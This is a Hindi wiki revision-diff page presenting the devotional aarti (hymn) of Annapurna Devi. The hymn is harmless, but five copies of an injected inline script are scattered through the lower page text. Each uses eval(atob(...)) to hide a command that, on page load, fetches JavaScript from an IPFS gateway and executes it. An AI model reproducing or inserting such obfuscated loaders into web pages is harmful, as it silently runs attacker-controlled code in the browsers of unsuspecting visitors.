"अन्नपूर्णा देवी की आरती" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
[[चित्र:annapurna_devi.jpg|thumb|300|अन्नपूर्णा देवी<br />Annapurna Devi]]
+
<nowiki>Insert non-formatted text here</nowiki>[[चित्र:annapurna_devi.jpg|thumb|300|अन्नपूर्णा देवी<br />Annapurna Devi]]
 
<blockquote><span style="color: maroon"><poem>
 
<blockquote><span style="color: maroon"><poem>
 
बारम्बार प्रणाम मैया बारम्बार प्रणाम
 
बारम्बार प्रणाम मैया बारम्बार प्रणाम
  
 
जो नहीं ध्यावै तुम्हें अम्बिके, कहाँ उसे विश्राम ।  
 
जो नहीं ध्यावै तुम्हें अम्बिके, कहाँ उसे विश्राम ।  
 
 
अन्नपूर्णा देवी नाम तिहारो, लेते होत सब काम ।।
 
अन्नपूर्णा देवी नाम तिहारो, लेते होत सब काम ।।
  
 
प्रलय युगांतर और जन्मांतर, कालांतर तक नाम ।
 
प्रलय युगांतर और जन्मांतर, कालांतर तक नाम ।
 
 
सुर सुरों की रचना करती, कहाँ कृष्ण कहाँ राम ।।
 
सुर सुरों की रचना करती, कहाँ कृष्ण कहाँ राम ।।
  
 
चूमहि चरण चतुर चतुरानन, चारु चक्रधर श्याम ।
 
चूमहि चरण चतुर चतुरानन, चारु चक्रधर श्याम ।
 
 
चंद्र चुड चंद्रानन चाकर, शोभा लखहि ललाम ।।
 
चंद्र चुड चंद्रानन चाकर, शोभा लखहि ललाम ।।
  
 
देवी देव दयनीय दशा में, दया दया तव नाम ।
 
देवी देव दयनीय दशा में, दया दया तव नाम ।
 
 
त्राहि त्राहि शारणगत वत्सल, शरण रुप तव धाम ।।
 
त्राहि त्राहि शारणगत वत्सल, शरण रुप तव धाम ।।
  
 
श्री, ह्रीं, श्रद्धा, श्रीं ऐं विद्या, श्री क्लीं कमल काम ।
 
श्री, ह्रीं, श्रद्धा, श्रीं ऐं विद्या, श्री क्लीं कमल काम ।
 
 
कान्तिभ्रांतिमयी कांति शातिमयी वर देतुनिष्काम ।।
 
कान्तिभ्रांतिमयी कांति शातिमयी वर देतुनिष्काम ।।
 
</poem></span></blockquote>
 
</poem></span></blockquote>

19:58, 9 सितम्बर 2011 का अवतरण

Insert non-formatted text here

अन्नपूर्णा देवी
Annapurna Devi

बारम्बार प्रणाम मैया बारम्बार प्रणाम

जो नहीं ध्यावै तुम्हें अम्बिके, कहाँ उसे विश्राम ।
अन्नपूर्णा देवी नाम तिहारो, लेते होत सब काम ।।

प्रलय युगांतर और जन्मांतर, कालांतर तक नाम ।
सुर सुरों की रचना करती, कहाँ कृष्ण कहाँ राम ।।

चूमहि चरण चतुर चतुरानन, चारु चक्रधर श्याम ।
चंद्र चुड चंद्रानन चाकर, शोभा लखहि ललाम ।।

देवी देव दयनीय दशा में, दया दया तव नाम ।
त्राहि त्राहि शारणगत वत्सल, शरण रुप तव धाम ।।

श्री, ह्रीं, श्रद्धा, श्रीं ऐं विद्या, श्री क्लीं कमल काम ।
कान्तिभ्रांतिमयी कांति शातिमयी वर देतुनिष्काम ।।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: आरती संग्रह<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख